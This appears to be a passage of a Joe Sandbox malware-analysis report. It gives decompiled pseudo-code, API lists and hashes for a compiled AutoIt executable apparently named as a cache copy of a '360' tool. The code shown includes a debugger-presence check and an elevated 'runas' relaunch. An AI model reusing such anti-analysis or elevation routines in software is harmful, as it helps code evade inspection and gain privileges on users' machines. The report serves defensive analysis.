				_t58 = __ecx;
				_t71 = __eax;
				GetCurrentDirectoryW(0x104,  &_v1060);
				E00401F80(_t58, _t68, _t79, _t71);
				if(IsDebuggerPresent() != 0) {
					return MessageBoxA(0, "This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.", 0x4846d6, 0x10);
				}
				_t23 =  *0x4a7cfc; // 0x4
				if(_t23 == 0) {
					 *0x49729c = 0xffffffff;
					return SetCurrentDirectoryW( &_v1060);
					L12:
				}
				 *((char*)(_t78 + 0xf)) = 0;
				if(_t23 == 1) {
					_t69 =  *0x4a7d04; // 0x2f02e80
					_t55 = 0;
					E00403E90(0, _t58, 0x4a8e80, 1, _t69, 0xffffffff);
					 *0x4a8e83 =  *0x497290;
					L5:
					_t60 =  *0x4a7cfc; // 0x4
					_push(_t60);
					if(E00401440(_t55, _t60, _t88, L"C:\\Users\\alfons\\Desktop\\._cache_360#U6d4b#U901f.exe") != 0) {
						E0040EBC0(0x4a8e80, _t69, _t71);
						_t29 = SetCurrentDirectoryW( &_v1064);
						 *0x49729c = 1;
						return _t29;
					}
					if(_t55 == 1) {
						_t30 = E0043604B();
						__eflags = _t30;
						if(_t30 != 0) {
							goto L7;
						}
						GetModuleFileNameW(0,  &_v536, 0x104);
						__eflags = _v1081;
						if(__eflags == 0) {
							_t69 =  &_v536;
							ShellExecuteW(GetForegroundWindow(), L"runas",  &_v536, _t71,  &_v1064, 1);
						} else {
							_t76 = _t78 + 0x10;
							E00401B70(_t55, "\"", _t78 + 0x10, __eflags);
							E0040D330(_t76, _t55, L"C:\\Users\\alfons\\Desktop\\._cache_360#U6d4b#U901f.exe", _t88);
							_t71 = "\"";
							E0040D330(_t76, _t55, "\"", _t88);
							_t69 =  *(_t78 + 0x10);
							ShellExecuteW(GetForegroundWindow(), L"runas",  &_v536,  *(_t78 + 0x10),  &_v1064, 1);
							E00402620(_t76);
						}
						L11:
						E0040EBC0(0x4a8e80, _t69, _t71);
						return SetCurrentDirectoryW( &_v1064);
						goto L12;
					}
					L7:
					E004101F0();
					E004103E0();
					_t86 =  *0x4a7d00;
					if( *0x4a7d00 == 0) {
						E0040E1E0(0x4a84b8, _t86, _t88);
					}
					L00409560(0x4a7f20, _t69, _t88, 1); // executed
					if( *0x4a7d00 == 0) {
						E00401000(0x4a84b8);
					}
					goto L11;
				}
				if(E0040F3B0(L"C:\\Users\\alfons\\Desktop\\._cache_360#U6d4b#U901f.exe", _t68, 0x4a8e80, __ebp, __fp0, 0x4a7cfc) == 0) {
					 *0x49729c = 1;
					return SetCurrentDirectoryW( &_v1060);
					goto L12;
				} else {
					_t69 =  *0x4a8e80; // 0x1
					_t55 =  *0x4a8e81; // 0x0
					 *0x4a7d00 = _t69;
					GetFullPathNameW(L"C:\\Users\\alfons\\Desktop\\._cache_360#U6d4b#U901f.exe", 0x104, _t78 + 0x234, 0x4a7cf8);
					goto L5;
				}
			}























                                                                                                                                                                            0x0040d6d0
                                                                                                                                                                            0x0040d6d0
                                                                                                                                                                            0x0040d6d0
                                                                                                                                                                            0x0040d6d0
                                                                                                                                                                            0x0040d6d9
                                                                                                                                                                            0x0040d6e5
                                                                                                                                                                            0x0040d6ec
                                                                                                                                                                            0x0040d6f9
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00431aab
                                                                                                                                                                            0x0040d6ff
                                                                                                                                                                            0x0040d706
                                                                                                                                                                            0x00431aba
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040d7d6
                                                                                                                                                                            0x0040d7d6
                                                                                                                                                                            0x0040d70c
                                                                                                                                                                            0x0040d719
                                                                                                                                                                            0x00431aca
                                                                                                                                                                            0x00431ad5
                                                                                                                                                                            0x00431ad7
                                                                                                                                                                            0x00431ae1
                                                                                                                                                                            0x0040d769
                                                                                                                                                                            0x0040d769
                                                                                                                                                                            0x0040d76f
                                                                                                                                                                            0x0040d77c
                                                                                                                                                                            0x00431b04
                                                                                                                                                                            0x00431b0e
                                                                                                                                                                            0x00431b14
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00431b14
                                                                                                                                                                            0x0040d785
                                                                                                                                                                            0x00431b23
                                                                                                                                                                            0x00431b28
                                                                                                                                                                            0x00431b2a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00431b3f
                                                                                                                                                                            0x00431b45
                                                                                                                                                                            0x00431b4a
                                                                                                                                                                            0x00431bac
                                                                                                                                                                            0x00431bc0
                                                                                                                                                                            0x00431b4c
                                                                                                                                                                            0x00431b51
                                                                                                                                                                            0x00431b55
                                                                                                                                                                            0x00431b61
                                                                                                                                                                            0x00431b66
                                                                                                                                                                            0x00431b6d
                                                                                                                                                                            0x00431b72
                                                                                                                                                                            0x00431b92
                                                                                                                                                                            0x00431b9a
                                                                                                                                                                            0x00431b9a
                                                                                                                                                                            0x0040d7c7
                                                                                                                                                                            0x0040d7cc
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040d7d1
                                                                                                                                                                            0x0040d78b
                                                                                                                                                                            0x0040d78b
                                                                                                                                                                            0x0040d790
                                                                                                                                                                            0x0040d795
                                                                                                                                                                            0x0040d79c
                                                                                                                                                                            0x0040d7a3
                                                                                                                                                                            0x0040d7a3
                                                                                                                                                                            0x0040d7af
                                                                                                                                                                            0x0040d7bb
                                                                                                                                                                            0x0040d7c2
                                                                                                                                                                            0x0040d7c2
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040d7bb
                                                                                                                                                                            0x0040d734
                                                                                                                                                                            0x00431aef
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040d73a
                                                                                                                                                                            0x0040d73a
                                                                                                                                                                            0x0040d740
                                                                                                                                                                            0x0040d75d
                                                                                                                                                                            0x0040d763
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040d763

                                                                                                                                                                            APIs
                                                                                                                                                                            • GetCurrentDirectoryW.KERNEL32(00000104,?,00000001,?,00000000), ref: 0040D6E5
                                                                                                                                                                              • Part of subcall function 00401F80: GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe,00000104,?,?,?,?,00000000), ref: 00401FAD
                                                                                                                                                                              • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 00402078
                                                                                                                                                                              • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 0040208E
                                                                                                                                                                              • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 004020A4
                                                                                                                                                                              • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 004020BA
                                                                                                                                                                              • Part of subcall function 00401F80: _wcscpy.LIBCMT ref: 004020EF
                                                                                                                                                                            • IsDebuggerPresent.KERNEL32(?), ref: 0040D6F1
                                                                                                                                                                            • GetFullPathNameW.KERNEL32(C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe,00000104,?,004A7CF8,004A7CFC), ref: 0040D763
                                                                                                                                                                              • Part of subcall function 00401440: GetFullPathNameW.KERNEL32(?,00000104,?,00000000), ref: 00401483
                                                                                                                                                                            • SetCurrentDirectoryW.KERNEL32(?,00000001,C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe,00000004), ref: 0040D7D6
                                                                                                                                                                            • MessageBoxA.USER32(00000000,This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.,004846D6,00000010), ref: 00431AAB
                                                                                                                                                                            • SetCurrentDirectoryW.KERNEL32(?,C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe,00000004), ref: 00431B0E
                                                                                                                                                                            • GetModuleFileNameW.KERNEL32(00000000,?,00000104,C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe,00000004), ref: 00431B3F
                                                                                                                                                                            • GetForegroundWindow.USER32(runas,?,?,?,00000001), ref: 00431B8B
                                                                                                                                                                            • ShellExecuteW.SHELL32(00000000), ref: 00431B92
                                                                                                                                                                              • Part of subcall function 004101F0: GetSysColorBrush.USER32(0000000F), ref: 004101F9
                                                                                                                                                                              • Part of subcall function 004101F0: LoadCursorW.USER32(00000000,00007F00), ref: 00410209
                                                                                                                                                                              • Part of subcall function 004101F0: LoadIconW.USER32(?,00000063), ref: 0041021F
                                                                                                                                                                              • Part of subcall function 004101F0: LoadIconW.USER32(?,000000A4), ref: 00410232
                                                                                                                                                                              • Part of subcall function 004101F0: LoadIconW.USER32(?,000000A2), ref: 00410245
                                                                                                                                                                              • Part of subcall function 004101F0: LoadImageW.USER32(?,00000063,00000001,00000010,00000010,00000000), ref: 0041026A
                                                                                                                                                                              • Part of subcall function 004101F0: RegisterClassExW.USER32 ref: 004102C6
                                                                                                                                                                              • Part of subcall function 004103E0: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,?,00000000), ref: 00410415
                                                                                                                                                                              • Part of subcall function 004103E0: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,?,00000000), ref: 0041043E
                                                                                                                                                                              • Part of subcall function 004103E0: ShowWindow.USER32(?,00000000), ref: 00410454
                                                                                                                                                                              • Part of subcall function 004103E0: ShowWindow.USER32(?,00000000), ref: 0041045E
                                                                                                                                                                              • Part of subcall function 0040E1E0: _memset.LIBCMT ref: 0040E202
                                                                                                                                                                              • Part of subcall function 0040E1E0: Shell_NotifyIconW.SHELL32(00000000,?), ref: 0040E2C7
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: LoadWindow$IconName__wcsicoll$CurrentDirectory$CreateFileFullModulePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memset_wcscpy
                                                                                                                                                                            • String ID: @GH$@GH$C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe$This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.$runas
                                                                                                                                                                            • API String ID: 2493088469-1635299155
                                                                                                                                                                            • Opcode ID: 75596ac1eb9fb8c27b10a3e9b89ecf98d01d6b80bfe706059cb2955862baadc9
                                                                                                                                                                            • Instruction ID: 2e872a54c38beeffbe1e66633b50b6eacae0f9fd3fe4cebaa62a8528039093a6
                                                                                                                                                                            • Opcode Fuzzy Hash: 75596ac1eb9fb8c27b10a3e9b89ecf98d01d6b80bfe706059cb2955862baadc9
                                                                                                                                                                            • Instruction Fuzzy Hash: 4A411731618341ABD320F7A09D49BAF3BA4AB95704F04493FF941672D1DBBC9949C72E
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0040E470 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 165COMMON
                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                            • Executed
                                                                                                                                                                            • Not Executed
                                                                                                                                                                            control_flow_graph 587 40e470-40e500 call 40c060 GetVersionExW call 4021e0 call 40e600 call 40e620 596 40e506-40e509 587->596 597 42accc-42acd1 587->597 598 40e540-40e555 call 40ee70 596->598 599 40e50b-40e51c 596->599 600 42acd3-42acdb 597->600 601 42acdd-42ace0 597->601 618 40e557-40e573 GetCurrentProcess call 40ee30 598->618 619 40e579-40e5a8 598->619 604 40e522-40e525 599->604 605 42ac9b-42aca7 599->605 607 42ad12-42ad20 600->607 602 42ace2-42aceb 601->602 603 42aced-42acf0 601->603 602->607 603->607 608 42acf2-42ad06 603->608 604->598 609 40e527-40e537 604->609 611 42acb2-42acba 605->611 612 42aca9-42acad 605->612 617 42ad28-42ad2d GetSystemInfo 607->617 613 42ad08-42ad0c 608->613 614 42ad0e 608->614 615 42acbf-42acc7 609->615 616 40e53d 609->616 611->598 612->598 613->607 614->607 615->598 616->598 621 42ad38-42ad3d GetSystemInfo 617->621 618->619 629 40e575 618->629 619->621 622 40e5ae-40e5c3 call 40eee0 619->622 622->617 626 40e5c9-40e5db call 40eea0 GetNativeSystemInfo 622->626 631 40e5e0-40e5ef 626->631 632 40e5dd-40e5de FreeLibrary 626->632 629->619 633 40e5f1-40e5f2 FreeLibrary 631->633 634 40e5f4-40e5ff 631->634 632->631 633->634
                                                                                                                                                                            C-Code - Quality: 89%
                                                                                                                                                                            			E0040E470(intOrPtr* __edi, void* __eflags) {
				char _v2;
				signed char _v4;
				struct _OSVERSIONINFOW _v284;
				struct _SYSTEM_INFO _v320;
				struct HINSTANCE__* _v324;
				struct HINSTANCE__* _v332;
				struct HINSTANCE__* _v336;
				struct HINSTANCE__* _v344;
				void* _v348;
				intOrPtr _v356;
				void* __ebx;
				void* __esi;
				void* _t96;
				char _t97;
				struct HINSTANCE__* _t104;
				struct HINSTANCE__* _t108;
				intOrPtr* _t111;
				char _t117;
				intOrPtr* _t127;

				_t127 = __edi;
				_t128 = __edi + 0xc;
				E0040C060(__edi + 0xc, __eflags);
				 *((char*)(__edi + 0x2e)) = 0;
				_v284.dwOSVersionInfoSize = 0x11c;
				GetVersionExW( &_v284);
				 *__edi = _v284.dwMajorVersion;
				 *((intOrPtr*)(__edi + 8)) = _v284.dwBuildNumber;
				 *((intOrPtr*)(__edi + 4)) = _v284.dwMinorVersion;
				E004021E0(__edi + 0xc, 0, _v284.dwMinorVersion,  &(_v284.szCSDVersion));
				E0040E600(_t128);
				E0040E620(0x484d70, _t128);
				_t96 =  *__edi - 5;
				 *((char*)(__edi + 0x2a)) = 0;
				 *((char*)(__edi + 0x1c)) = 0;
				 *((char*)(__edi + 0x1d)) = 0;
				 *((char*)(__edi + 0x1e)) = 0;
				 *((char*)(__edi + 0x1f)) = 0;
				 *((char*)(__edi + 0x20)) = 0;
				 *((char*)(__edi + 0x21)) = 0;
				 *((char*)(__edi + 0x22)) = 0;
				 *((char*)(__edi + 0x23)) = 0;
				 *((char*)(__edi + 0x24)) = 0;
				 *((char*)(__edi + 0x25)) = 0;
				 *((char*)(__edi + 0x26)) = 0;
				 *((char*)(__edi + 0x27)) = 0;
				 *((char*)(__edi + 0x28)) = 0;
				 *((char*)(__edi + 0x29)) = 0;
				if(_t96 == 0) {
					_t97 =  *((intOrPtr*)(__edi + 4));
					__eflags = _t97;
					if(_t97 != 0) {
						__eflags = _t97 - 1;
						if(_t97 != 1) {
							__eflags = _t97 - 2;
							if(_t97 == 2) {
								__eflags = _v2 - 1;
								 *((char*)(__edi + 0x1d)) = 1;
								 *((char*)(__edi + 0x1f)) = 1;
								 *((char*)(__edi + 0x21)) = 1;
								if(_v2 != 1) {
									 *((char*)(__edi + 0x20)) = 1;
								} else {
									 *((char*)(__edi + 0x1e)) = 1;
								}
							}
						} else {
							 *((char*)(__edi + 0x1d)) = _t97;
							 *((char*)(__edi + 0x1f)) = _t97;
							 *((char*)(__edi + 0x1e)) = _t97;
						}
					} else {
						 *((char*)(__edi + 0x1d)) = 1;
						 *((char*)(__edi + 0x1c)) = 1;
					}
					 *((char*)(_t127 + 0x2e)) = (_v4 & 0x000000ff) >> 0x00000006 & 0x00000001;
				} else {
					if(_t96 == 1) {
						_t117 =  *((intOrPtr*)(__edi + 4));
						 *((char*)(__edi + 0x1d)) = 1;
						 *((char*)(__edi + 0x1f)) = 1;
						 *((char*)(__edi + 0x21)) = 1;
						if(_t117 == 0) {
							__eflags = _v2 - 1;
							 *((char*)(__edi + 0x23)) = 1;
							if(_v2 != 1) {
								 *((char*)(__edi + 0x25)) = 1;
								 *((char*)(__edi + 0x24)) = 1;
							} else {
								 *((char*)(__edi + 0x22)) = 1;
							}
						} else {
							if(_t117 == 1) {
								 *((char*)(__edi + 0x23)) = _t117;
								 *((char*)(__edi + 0x25)) = _t117;
								 *((char*)(__edi + 0x27)) = _t117;
								if(_v2 != _t117) {
									 *((char*)(__edi + 0x29)) = 1;
									 *((char*)(__edi + 0x28)) = 1;
								} else {
									 *((char*)(__edi + 0x26)) = _t117;
								}
							}
						}
					}
				}
				_v344 = 0;
				_v336 = 0;
				E0040EE70( &_v344);
				_t139 = _v336;
				if(_v336 != 0) {
					_push( &_v348);
					_v348 = 0;
					_push(GetCurrentProcess());
					 *((intOrPtr*)(E0040EE30( &_v344, _t139)))();
					if(_v356 == 1) {
						 *((char*)(_t127 + 0x2a)) = 1;
					}
				}
				_v320.dwOemId = 0;
				_v320.dwPageSize = 0;
				_v320.lpMinimumApplicationAddress = 0;
				_v320.lpMaximumApplicationAddress = 0;
				_v320.dwActiveProcessorMask = 0;
				_v320.dwNumberOfProcessors = 0;
				_v320.dwProcessorType = 0;
				_v320.dwAllocationGranularity = 0;
				_v320.wProcessorLevel = 0;
				if( *((intOrPtr*)(_t127 + 0x2a)) == 0) {
					GetSystemInfo( &_v320);
				} else {
					_v332 = 0;
					_v324 = 0;
					E0040EEE0( &_v332);
					_t142 = _v324;
					if(_v324 == 0) {
						GetSystemInfo( &_v320);
					} else {
						_t111 = E0040EEA0( &_v332, _t142); // executed
						 *_t111( &_v320); // executed
					}
					_t108 = _v332;
					if(_t108 != 0) {
						FreeLibrary(_t108);
					}
				}
				 *((short*)(_t127 + 0x2c)) = _v320.dwOemId;
				_t104 = _v344;
				if(_t104 != 0) {
					FreeLibrary(_t104);
				}
				return _t127;
			}






















                                                                                                                                                                            0x0040e470
                                                                                                                                                                            0x0040e479
                                                                                                                                                                            0x0040e47e
                                                                                                                                                                            0x0040e48a
                                                                                                                                                                            0x0040e48d
                                                                                                                                                                            0x0040e495
                                                                                                                                                                            0x0040e4a7
                                                                                                                                                                            0x0040e4ad
                                                                                                                                                                            0x0040e4b3
                                                                                                                                                                            0x0040e4b6
                                                                                                                                                                            0x0040e4bd
                                                                                                                                                                            0x0040e4c9
                                                                                                                                                                            0x0040e4d0
                                                                                                                                                                            0x0040e4d3
                                                                                                                                                                            0x0040e4d6
                                                                                                                                                                            0x0040e4d9
                                                                                                                                                                            0x0040e4dc
                                                                                                                                                                            0x0040e4df
                                                                                                                                                                            0x0040e4e2
                                                                                                                                                                            0x0040e4e5
                                                                                                                                                                            0x0040e4e8
                                                                                                                                                                            0x0040e4eb
                                                                                                                                                                            0x0040e4ee
                                                                                                                                                                            0x0040e4f1
                                                                                                                                                                            0x0040e4f4
                                                                                                                                                                            0x0040e4f7
                                                                                                                                                                            0x0040e4fa
                                                                                                                                                                            0x0040e4fd
                                                                                                                                                                            0x0040e500
                                                                                                                                                                            0x0042accc
                                                                                                                                                                            0x0042accf
                                                                                                                                                                            0x0042acd1
                                                                                                                                                                            0x0042acdd
                                                                                                                                                                            0x0042ace0
                                                                                                                                                                            0x0042aced
                                                                                                                                                                            0x0042acf0
                                                                                                                                                                            0x0042acf2
                                                                                                                                                                            0x0042acfa
                                                                                                                                                                            0x0042acfe
                                                                                                                                                                            0x0042ad02
                                                                                                                                                                            0x0042ad06
                                                                                                                                                                            0x0042ad0e
                                                                                                                                                                            0x0042ad08
                                                                                                                                                                            0x0042ad08
                                                                                                                                                                            0x0042ad08
                                                                                                                                                                            0x0042ad06
                                                                                                                                                                            0x0042ace2
                                                                                                                                                                            0x0042ace2
                                                                                                                                                                            0x0042ace5
                                                                                                                                                                            0x0042ace8
                                                                                                                                                                            0x0042ace8
                                                                                                                                                                            0x0042acd3
                                                                                                                                                                            0x0042acd3
                                                                                                                                                                            0x0042acd7
                                                                                                                                                                            0x0042acd7
                                                                                                                                                                            0x0042ad20
                                                                                                                                                                            0x0040e506
                                                                                                                                                                            0x0040e509
                                                                                                                                                                            0x0040e50b
                                                                                                                                                                            0x0040e50e
                                                                                                                                                                            0x0040e512
                                                                                                                                                                            0x0040e516
                                                                                                                                                                            0x0040e51c
                                                                                                                                                                            0x0042ac9b
                                                                                                                                                                            0x0042aca3
                                                                                                                                                                            0x0042aca7
                                                                                                                                                                            0x0042acb2
                                                                                                                                                                            0x0042acb6
                                                                                                                                                                            0x0042aca9
                                                                                                                                                                            0x0042aca9
                                                                                                                                                                            0x0042aca9
                                                                                                                                                                            0x0040e522
                                                                                                                                                                            0x0040e525
                                                                                                                                                                            0x0040e527
                                                                                                                                                                            0x0040e52a
                                                                                                                                                                            0x0040e52d
                                                                                                                                                                            0x0040e537
                                                                                                                                                                            0x0042acbf
                                                                                                                                                                            0x0042acc3
                                                                                                                                                                            0x0040e53d
                                                                                                                                                                            0x0040e53d
                                                                                                                                                                            0x0040e53d
                                                                                                                                                                            0x0040e537
                                                                                                                                                                            0x0040e525
                                                                                                                                                                            0x0040e51c
                                                                                                                                                                            0x0040e509
                                                                                                                                                                            0x0040e544
                                                                                                                                                                            0x0040e548
                                                                                                                                                                            0x0040e54c
                                                                                                                                                                            0x0040e551
                                                                                                                                                                            0x0040e555
                                                                                                                                                                            0x0040e55b
                                                                                                                                                                            0x0040e55c
                                                                                                                                                                            0x0040e566
                                                                                                                                                                            0x0040e56c
                                                                                                                                                                            0x0040e573
                                                                                                                                                                            0x0040e575
                                                                                                                                                                            0x0040e575
                                                                                                                                                                            0x0040e573
                                                                                                                                                                            0x0040e581
                                                                                                                                                                            0x0040e585
                                                                                                                                                                            0x0040e589
                                                                                                                                                                            0x0040e58d
                                                                                                                                                                            0x0040e591
                                                                                                                                                                            0x0040e595
                                                                                                                                                                            0x0040e599
                                                                                                                                                                            0x0040e59d
                                                                                                                                                                            0x0040e5a1
                                                                                                                                                                            0x0040e5a8
                                                                                                                                                                            0x0042ad3d
                                                                                                                                                                            0x0040e5ae
                                                                                                                                                                            0x0040e5b2
                                                                                                                                                                            0x0040e5b6
                                                                                                                                                                            0x0040e5ba
                                                                                                                                                                            0x0040e5bf
                                                                                                                                                                            0x0040e5c3
                                                                                                                                                                            0x0042ad2d
                                                                                                                                                                            0x0040e5c9
                                                                                                                                                                            0x0040e5ce
                                                                                                                                                                            0x0040e5d3
                                                                                                                                                                            0x0040e5d3
                                                                                                                                                                            0x0040e5d5
                                                                                                                                                                            0x0040e5db
                                                                                                                                                                            0x0040e5de
                                                                                                                                                                            0x0040e5de
                                                                                                                                                                            0x0040e5db
                                                                                                                                                                            0x0040e5e5
                                                                                                                                                                            0x0040e5e9
                                                                                                                                                                            0x0040e5ef
                                                                                                                                                                            0x0040e5f2
                                                                                                                                                                            0x0040e5f2
                                                                                                                                                                            0x0040e5ff

                                                                                                                                                                            APIs
                                                                                                                                                                            • GetVersionExW.KERNEL32 ref: 0040E495
                                                                                                                                                                              • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                            • GetCurrentProcess.KERNEL32(?,?), ref: 0040E560
                                                                                                                                                                            • GetNativeSystemInfo.KERNELBASE(?,?), ref: 0040E5D3
                                                                                                                                                                            • FreeLibrary.KERNEL32(?), ref: 0040E5DE
                                                                                                                                                                            • FreeLibrary.KERNEL32(?), ref: 0040E5F2
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: FreeLibrary$CurrentInfoNativeProcessSystemVersion_wcslen
                                                                                                                                                                            • String ID: pMH
                                                                                                                                                                            • API String ID: 2923339712-2522892712
                                                                                                                                                                            • Opcode ID: 4c6546f83278d93c296eece5aed2db143aaa01919c58d78ab84702413c249700
                                                                                                                                                                            • Instruction ID: 31d199e0849a18b4fe3a20375a839c17b1fda7a8e5a404adfed2e153d323e8b3
                                                                                                                                                                            • Opcode Fuzzy Hash: 4c6546f83278d93c296eece5aed2db143aaa01919c58d78ab84702413c249700
                                                                                                                                                                            • Instruction Fuzzy Hash: D4612E71508792AEC311CB69C44425ABFE07B6A308F580E6EE48483A42D379E568C7AB
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0040EB70 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E0040EB70(struct HINSTANCE__** __esi) {
				struct HINSTANCE__* _t3;
				_Unknown_base(*)()* _t4;

				if(__esi[2] == 0) {
					_t3 = LoadLibraryA("uxtheme.dll"); // executed
					 *__esi = _t3;
					if(_t3 != 0) {
						_t4 = GetProcAddress(_t3, "IsThemeActive");
						__esi[2] = _t4;
						return _t4;
					}
				}
				return _t3;
			}





                                                                                                                                                                            0x0040eb74
                                                                                                                                                                            0x0040eb7b
                                                                                                                                                                            0x0040eb81
                                                                                                                                                                            0x0040eb85
                                                                                                                                                                            0x0040eb8d
                                                                                                                                                                            0x0040eb93
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040eb93
                                                                                                                                                                            0x0040eb85
                                                                                                                                                                            0x0040eb96

                                                                                                                                                                            APIs
                                                                                                                                                                            • LoadLibraryA.KERNELBASE(uxtheme.dll,0040EB55,0040D86E), ref: 0040EB7B
                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,IsThemeActive), ref: 0040EB8D
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: AddressLibraryLoadProc
                                                                                                                                                                            • String ID: IsThemeActive$uxtheme.dll
                                                                                                                                                                            • API String ID: 2574300362-3542929980
                                                                                                                                                                            • Opcode ID: 9e55e894ab04f38af4b02d6559f2dae0f2ca0bab174211e780b997e8b6ae5f43
                                                                                                                                                                            • Instruction ID: e8120cabfd18d8fe06d2f96d8b82b2b5a4bcadd10797c678d2963416b1e4c3b8
                                                                                                                                                                            • Opcode Fuzzy Hash: 9e55e894ab04f38af4b02d6559f2dae0f2ca0bab174211e780b997e8b6ae5f43
                                                                                                                                                                            • Instruction Fuzzy Hash: 05D0C9B49407039AD7306F72C918B0A7BE4AB50342F204C3EF996A1694DBBCD0508B28
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00436ADE Relevance: 4.5, APIs: 3, Instructions: 28fileCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                            • GetFileAttributesW.KERNELBASE(00000001,00000000), ref: 00436AEF
                                                                                                                                                                            • FindFirstFileW.KERNELBASE(00000001,?), ref: 00436B00
                                                                                                                                                                            • FindClose.KERNEL32(00000000), ref: 00436B13
                                                                                                                                                                            Memory Dump Source
